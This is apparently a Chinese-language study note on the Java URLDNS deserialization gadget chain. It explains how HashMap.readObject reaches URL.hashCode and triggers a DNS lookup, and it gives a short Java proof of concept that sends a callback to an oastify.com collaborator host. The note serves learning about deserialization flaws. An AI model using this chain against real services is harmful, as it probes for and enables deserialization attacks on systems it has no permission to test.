调用链
1 2 3 4 5
| Gadget Chain: HashMap.readObject() HashMap.putVal() HashMap.hash() URL.hashCode()
|
分析
当需要尝试找一个ssrf 的漏洞的时候,发现和URL 类相关的代码,便可能存在SSRF 漏洞

发现该类可以被序列化
那么就找 URL 类中是否存在使用范围比较广的函数名(这一步是为了能更好的同名函数的替换,方便调用)
找到了一个hashcode

看看该方法中是否调用了危险的方法


发现了函数getHostAddress 说明可以通过host 获取ip 那么就一定会有dns 请求
那么如果是要利用这个 链子 那么该怎么调用hashcode 是一个问题。
那么这个前提类需要满足
- readobject 调用链中存在hashcode 这个函数
那么就找这个类,于是就发现了hash map 就存在


然后就尝试利用
验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package org.javaSecBase.deserialization.URLDNS;
import org.cclearn.Serialize;
import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class URLDNS { public static void main(String[] args) throws Exception { URL url = new URL("https://2005w3j9c5zfft43ifsta02lcci364ut.oastify.com");
HashMap<URL,Integer> hashMap=new HashMap<>();
Class clazz = url.getClass(); Field field = clazz.getDeclaredField("hashCode"); field.setAccessible(true); field.set(url,1); hashMap.put(url,1); field.set(url,-1);
String fileName=Serialize.serialize(hashMap); Serialize.deserialize(fileName);
} }
|